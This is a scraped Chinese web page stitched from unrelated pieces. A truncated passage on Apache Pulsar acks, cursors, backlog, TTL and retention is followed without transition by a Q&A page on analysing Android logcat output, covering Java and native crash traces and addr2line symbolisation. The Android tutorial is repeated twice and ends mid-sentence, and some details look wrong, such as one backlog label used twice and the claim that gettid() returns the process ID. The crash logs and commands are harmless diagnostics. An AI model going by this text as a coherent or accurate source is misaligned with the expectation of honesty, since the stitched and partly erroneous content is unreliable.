来针对某一个特定的消息进行 Ack 操作;批量 Ack(AckCumulative)是指一次 Ack 多条消息。 为了更好的理解 Strorage Size 以及 Backlog, 我们首先需要去了解 Pulsar 中的订阅机制,如下图所示: Producer 还是按照追加的形式不断往 Topic 中发送消息,Consumer 端会创建一个 Subscription 去订阅这个 Topic,当成功订阅时,会初始化一个 Cursor 指向具体的消息的位置,默认情况下是 Latest。 上图中,我们可以看到该订阅下面的 Topic 已经成功 receive 并且 ack 掉了 m4 这条消息。那么包含 m4 在内的所有的消息状态都会被标记为可删除的状态。在 Pulsar 中,使用 MarkDeletePosition 来标记这个位置。之后的所有消息,代表这个订阅还没有消费的消息。 随着时间的推移,假设在 AckCumulative 的场景下,上述订阅中的 Consumer 又消费了一些消息,目前 cursor 的位置移动到了 m8 的位置,意味着 m8 之前的消息都可以进入删除状态。 假设是在 AckIndividual 的场景下,上述订阅中的 Consumer 只消费了 m7 这条消息并且发送了 Ack 请求,m5, m6 这两条消息仍然没有被成功消费,那么目前处于可删除状态的消息是 m4 之前的消息和 m7 这条消息。也就是说,在这种场景下,由于使用单条 Ack 导致 topic 中间出现了 ack 的空洞。 随着时间的推移,在单条 Ack 的场景下,Ack 的空洞可能会自己消失,如下图所示: 上面我们描述了,单个订阅在单条 Ack 和批量 Ack 混合的场景下,Topic 中 cursor 的移动情况。假设目前有多个 Subscription 订阅了这个 Topic,那么每一个 Subscription 都可以拿到这个 Topic 中数据的完整 Copy,也就是一个 Subscription 会在这个 Topic 中初始化一个新的 Cursor, 每一个 Cursor 之间消费的进度是没有交集、互不影响的,所以就可能出现下图中的情况: 在上图中,针对该 Topic,有两个订阅:Subscription-1 和 Subscription-2。Subscription-1中的 consumer 消费掉了 m4 之前的消息,Subscription-2 中的 consumer 消费掉了 m8 之前的消息。而 m4-m8 之间的这四条消息,虽然被 Subscription-2 消费完成,但是 Subscription-1 还没有消费完成这部分数据,所以这部分消息还不可以被删除。目前处于可删除状态的消息是 m4 之前的消息,即这个 Topic 中消费进度最慢的那个 Subscription 所消费完成的消息。那么这就会有一个问题,假设我目前 Subscription-1 掉线了,它的 cursor 的位置一直没有变化,这就会导致这个 Topic 中的数据一直处于不可删除的状态。 针对上述场景,Pulsar 引入了 TTL 的概念,即允许用户设置 TTL 的时间,当消息到达 TTL 指定的阈值 cursor 仍然没有移动的话,那么会触发 TTL 的机制,将 cursor 自动向后移到指定的位置。在这里需要注意的一点是,我们一直强调的是 TTL 会移动 cursor 的位置,到目前为止,我们还没有提到消息删除的概念,不要将二者混淆了。TTL 会做的只是去移动 cursor 的位置,不会有任何跟消息删除的逻辑。 为了更好的表述 Topic 中没有被消费的数据,Pulsar 引入了 backlog 的概念来描述这一部分消息。Backlog 可以分为如下两种形式: 如下图所示:Backlog A 属于 Topic Backlog;Backlog A 属于 Subscription-1 Backlog;Backlog B 属于 Subscription-2 的 Backlog。 随着时间的推移,Backlog 的会不断的变化,如下图所示: 在这里需要说明的一点是,这里的 backlogSize 记录的是带 batch 的消息,也就是一个 batch 会被当作一条消息来进行处理。因为在 broker 端去解析整个 batch 会给 broker 带来一定的负担,同时浪费大量的 CPU 资源,所以,具体 batch 逻辑的解析放到了 consumer 端来进行处理。所以 backlog 本质上记录的是上面我们提到的 entries 的数量。 在 Pulsar 中,针对 backlog 有两个指标,具体如下: 有关更多 backlog 的介绍,可以参考 https://www.jianshu.com/p/31e7d4e5aa42 。 在 Apache Pulsar 中,使用了 BookKeeper 来作为存储层,允许用户将消息持久化,为了确保消息不会无限期的持久化下去,pulsar 引入了 retention 的机制,允许用户来配置消息持久化的策略。默认情况下,持久化的机制是关闭的,即消息被 ack 之后,就会进入删除的逻辑。 配置 Retention 策略时,有如下两个参数可以指定: 在引入 retention 策略之后,整个 topic 表示的视图如下所示,m0-m5 代表已经被所有订阅确认的消息并且已经超过了 retention 策略的阈值,即这些消息正在 准备删除 。注意,我这里描述的是 【准备删除】具体是否可以被删除,现在还不能确定。 在最开始,我们从最上层的 topic 一步步抽象到了一条具体的 msg,(在这里为了方便描述,我们忽略掉 batch 的概念,即一条 msg 等价于一个 entry)现在我们再反过来把所有的概念都叠加回去。因为在 bk 中,允许操作的最小的单元是一个 segment,所以在具体的 msg(entry)级别,是没办法针对一条消息进行删除的,删除操作需要针对一个 segment 来进行操作。如下图所示: 假设 m0-m3 属于 segment3;m4-m7 属于segment2;m8-m11 属于 segment1。按照上图的描述,m0-m5 的消息都可以进行删除操作, 但是 segment 2 中包含了 m6, m7 并没有达到 retention 的阈值,所以 segment 目前还不可以被删除。 为了更方便的表述当前消息占用的存储空间的大小,pulsar 引入了 storageSize 来描述整个概念。如下图所示:当 backlog B 与 storage Size 标识的消息相同时,backlogSize 等价于 storageSize。 当由于引入单条 ack,retention 策略以及 Bookkeeper 基于 segment 删除的设定,那么很有可能造成 Storage Size 大于 backlog Size 的场景,如下图所示:

android logcat错误求解

貌似是没加权限,或者是Activity没注册,,,,

如何分析Android的Log

首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。[ 12-09 21:39:35.510 396: 416 I/ActivityManager ]Start procnet.coollet.infzmreader:umengService_v1 for servicenet.coollet.infzmreader/com.umeng.message.UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}[ 12-09 21:39:35.518 21745:21745I/dalvikvm ]Turning on JNI app bug workarounds fortarget SDK version 8...[ 12-09 21:39:35.611 21745:21745D/AgooService ]onCreate()我们以第一行为例:12-09 是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。Android比较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:pid=1760 uid=10065 gids={50065, 1028}D/AndroidRuntime( 1760): Shutting downVMW/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)E/AndroidRuntime( 1760): FATALEXCEPTION: mainE/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo{com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)E/AndroidRuntime( 1760): ... 11moreI/Process ( 1760): Sending signal.PID: 1760 SIG: 9W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivityJave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36msI/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocationD/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34msI/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******I/DEBUG ( 127):Build fingerprint:"Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"I/DEBUG ( 127):Revision: "9"I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2cI/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1cI/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000I/DEBUG ( 127): d10 0000000000000000 d110000000000000000I/DEBUG ( 127): d120000000000000000 d130000000000000000I/DEBUG ( 127): d14 0000000000000000 d150000000000000000I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fcI/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000I/DEBUG ( 127): d20 0000000000000000 d210000000000000000I/DEBUG ( 127): d22 0000000000000000 d230000000000000000I/DEBUG ( 127): d24 0000000000000000 d250000000000000000I/DEBUG ( 127): d26 0000000000000000 d270000000000000000I/DEBUG ( 127): d28 0000000000000000 d290000000000000000I/DEBUG ( 127): d30 0000000000000000 d310000000000000000I/DEBUG ( 127): scr 00000010I/DEBUG ( 127):I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testappI/DEBUG ( 127):I/DEBUG ( 127):stack:I/DEBUG ( 127): beb4aaa8 000000c8 I/DEBUG ( 127): beb4aaac 00000000 I/DEBUG ( 127): beb4aab0 00000000 I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linkerI/DEBUG ( 127): beb4aab8 00001000 I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testappI/DEBUG ( 127): beb4aac8 00000000 I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testappI/DEBUG ( 127): beb4aad0 beb4ab24 [stack]I/DEBUG ( 127): beb4aad4 00000001 I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]I/DEBUG ( 127): beb4aadc 00000000 I/DEBUG ( 127): beb4aae0 df0027ad I/DEBUG ( 127): beb4aae4 00000000 I/DEBUG ( 127): #00 beb4aae8 00000000 I/DEBUG ( 127): ........ ........I/DEBUG ( 127): #01 beb4aae8 00000000 I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]I/DEBUG ( 127): beb4aaf4 00000000 I/DEBUG ( 127): beb4aaf8 00000000 I/DEBUG ( 127): beb4aafc 00000000 I/DEBUG ( 127): beb4ab00 00000000 I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testappI/DEBUG ( 127):这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:pid: 2102, tid: 2102,name: testapp >>>./testapp <<<从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:#./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108剩余三个地址翻译如下:main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361_start libgcc2.c:0利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。

如何分析Android的Log

看报错信息咯。。一般报错信息下面第一行就是异常的位置

如何分析Android的Log

  首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。  [ 12-09 21:39:35.510 396: 416 I/ActivityManager ]  Start procnet.coollet.infzmreader:umengService_v1 for service  net.coollet.infzmreader/com.umeng.message.  UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}  [ 12-09 21:39:35.518 21745:21745I/dalvikvm ]  Turning on JNI app bug workarounds fortarget SDK version 8...  [ 12-09 21:39:35.611 21745:21745D/AgooService ]  onCreate()  我们以第一行为例:12-09 是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。  在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。  同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。  另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。  了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。  不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。  AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。  Android比较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:  I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:  pid=1760 uid=10065 gids={50065, 1028}  D/AndroidRuntime( 1760): Shutting downVM  W/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)  E/AndroidRuntime( 1760): FATALEXCEPTION: main  E/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo  {com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerException  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)  E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)  E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)  E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)  E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)  E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run  (ZygoteInit.java:793)  E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)  E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)  E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerException  E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)  E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)  E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)  E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)  E/AndroidRuntime( 1760): ... 11more  I/Process ( 1760): Sending signal.PID: 1760 SIG: 9  W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivity  Jave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:  F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)  D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36ms  I/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocation  D/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34ms  I/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******  I/DEBUG ( 127):Build fingerprint:  "Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"  I/DEBUG ( 127):Revision: "9"  I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<  I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000  I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000  I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2c  I/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1c  I/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030  I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8  I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08  I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8  I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78  I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000  I/DEBUG ( 127): d10 0000000000000000 d110000000000000000  I/DEBUG ( 127): d120000000000000000 d130000000000000000  I/DEBUG ( 127): d14 0000000000000000 d150000000000000000  I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fc  I/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000  I/DEBUG ( 127): d20 0000000000000000 d210000000000000000  I/DEBUG ( 127): d22 0000000000000000 d230000000000000000  I/DEBUG ( 127): d24 0000000000000000 d250000000000000000  I/DEBUG ( 127): d26 0000000000000000 d270000000000000000  I/DEBUG ( 127): d28 0000000000000000 d290000000000000000  I/DEBUG ( 127): d30 0000000000000000 d310000000000000000  I/DEBUG ( 127): scr 00000010  I/DEBUG ( 127):  I/DEBUG ( 127):backtrace:  I/DEBUG ( 127): #00 pc0000045e /system/bin/testapp  I/DEBUG ( 127): #01 pc0000046b /system/bin/testapp  I/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)  I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp  I/DEBUG ( 127):  I/DEBUG ( 127):stack:  I/DEBUG ( 127): beb4aaa8 000000c8  I/DEBUG ( 127): beb4aaac 00000000  I/DEBUG ( 127): beb4aab0 00000000  I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linker  I/DEBUG ( 127): beb4aab8 00001000  I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)  I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)  I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testapp  I/DEBUG ( 127): beb4aac8 00000000  I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testapp  I/DEBUG ( 127): beb4aad0 beb4ab24 [stack]  I/DEBUG ( 127): beb4aad4 00000001  I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]  I/DEBUG ( 127): beb4aadc 00000000  I/DEBUG ( 127): beb4aae0 df0027ad  I/DEBUG ( 127): beb4aae4 00000000  I/DEBUG ( 127): #00 beb4aae8 00000000  I/DEBUG ( 127): ........ ........  I/DEBUG ( 127): #01 beb4aae8 00000000  I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)  I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]  I/DEBUG ( 127): beb4aaf4 00000000  I/DEBUG ( 127): beb4aaf8 00000000  I/DEBUG ( 127): beb4aafc 00000000  I/DEBUG ( 127): beb4ab00 00000000  I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testapp  I/DEBUG ( 127):  这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:  pid: 2102, tid: 2102,name: testapp >>>./testapp <<<  从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。  接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:  signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000  